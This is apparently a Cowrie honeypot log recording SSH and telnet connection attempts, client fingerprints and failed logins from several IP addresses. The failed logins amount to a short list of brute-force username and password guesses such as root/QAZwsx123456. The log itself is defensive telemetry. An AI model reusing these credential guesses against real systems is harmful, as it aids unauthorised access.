{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:52.910174Z","src_ip":"80.94.92.184","session":"8cacc887eaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:54.098563Z","src_ip":"80.94.92.184","session":"8cacc887eaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:55.320940Z","src_ip":"80.94.92.184","session":"8cacc887eaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":33042,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6985777936d","protocol":"ssh","message":"New connection: 36.92.140.209:33042 (159.203.135.109:22) [session: e6985777936d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:57.423757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:57.428634Z","src_ip":"36.92.140.209","session":"e6985777936d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:57.697286Z","src_ip":"36.92.140.209","session":"e6985777936d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo1","password":"123456","message":"login attempt [demo1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:30:58.808633Z","src_ip":"36.92.140.209","session":"e6985777936d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:00.081305Z","src_ip":"36.92.140.209","session":"e6985777936d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.654672145843506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:15.163313Z","src_ip":"103.115.172.252","session":"708d0509ac9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.218.106.74","src_port":24056,"dst_ip":"10.17.0.5","dst_port":23,"session":"479db27699ce","protocol":"telnet","message":"New connection: 197.218.106.74:24056 (10.17.0.5:23) [session: 479db27699ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:27.589025Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33098,"dst_ip":"10.17.0.5","dst_port":23,"session":"151a89e7019f","protocol":"telnet","message":"New connection: 69.65.3.189:33098 (10.17.0.5:23) [session: 151a89e7019f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:28.445912Z"}
{"eventid":"cowrie.session.closed","duration":13.662176847457886,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:41.251092Z","src_ip":"197.218.106.74","session":"479db27699ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":37960,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc1f74f727e","protocol":"ssh","message":"New connection: 43.162.98.118:37960 (159.203.135.109:22) [session: 3dc1f74f727e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:51.199058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:51.203781Z","src_ip":"43.162.98.118","session":"3dc1f74f727e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:51.272201Z","src_ip":"43.162.98.118","session":"3dc1f74f727e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:51.574535Z","src_ip":"43.162.98.118","session":"3dc1f74f727e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:52.646043Z","src_ip":"43.162.98.118","session":"3dc1f74f727e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":58664,"dst_ip":"159.203.135.109","dst_port":22,"session":"20fa21080310","protocol":"ssh","message":"New connection: 36.92.140.209:58664 (159.203.135.109:22) [session: 20fa21080310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:54.264668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:54.269943Z","src_ip":"36.92.140.209","session":"20fa21080310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:54.557322Z","src_ip":"36.92.140.209","session":"20fa21080310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEASD","message":"login attempt [root/123QWEASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:55.722509Z","src_ip":"36.92.140.209","session":"20fa21080310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:31:57.007053Z","src_ip":"36.92.140.209","session":"20fa21080310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.72073984146118,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:05.166548Z","src_ip":"69.65.3.189","session":"151a89e7019f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":58322,"dst_ip":"159.203.135.109","dst_port":22,"session":"012d7b6f566b","protocol":"ssh","message":"New connection: 43.162.98.118:58322 (159.203.135.109:22) [session: 012d7b6f566b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:40.531597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:40.536269Z","src_ip":"43.162.98.118","session":"012d7b6f566b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:40.604648Z","src_ip":"43.162.98.118","session":"012d7b6f566b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456aA","message":"login attempt [ubuntu/123456aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:40.913139Z","src_ip":"43.162.98.118","session":"012d7b6f566b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:41.984910Z","src_ip":"43.162.98.118","session":"012d7b6f566b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":48180,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba3cfa87bd04","protocol":"ssh","message":"New connection: 36.92.140.209:48180 (159.203.135.109:22) [session: ba3cfa87bd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:52.072853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:52.077587Z","src_ip":"36.92.140.209","session":"ba3cfa87bd04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:52.351677Z","src_ip":"36.92.140.209","session":"ba3cfa87bd04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123456","message":"login attempt [root/QAZwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:53.479870Z","src_ip":"36.92.140.209","session":"ba3cfa87bd04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:32:54.757140Z","src_ip":"36.92.140.209","session":"ba3cfa87bd04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":39272,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ff1f3d39957","protocol":"ssh","message":"New connection: 43.162.98.118:39272 (159.203.135.109:22) [session: 1ff1f3d39957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:30.175772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:30.181973Z","src_ip":"43.162.98.118","session":"1ff1f3d39957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:30.250273Z","src_ip":"43.162.98.118","session":"1ff1f3d39957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab1","message":"login attempt [gitlab/gitlab1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:30.554225Z","src_ip":"43.162.98.118","session":"1ff1f3d39957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:31.660609Z","src_ip":"43.162.98.118","session":"1ff1f3d39957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":16972,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e7bfcbd050","protocol":"ssh","message":"New connection: 2.57.121.25:16972 (10.17.0.5:22) [session: e1e7bfcbd050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:42.130907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:42.135251Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:42.229730Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"barclay","message":"login attempt [user/barclay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:42.684691Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"balder","message":"login attempt [user/balder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:43.780907Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"badkarma","message":"login attempt [user/badkarma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:44.880477Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"babygir","message":"login attempt [user/babygir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:33:45.978269Z","src_ip":"2.57.121.25","session":"e1e7bfcbd050","protocol":"ssh"}
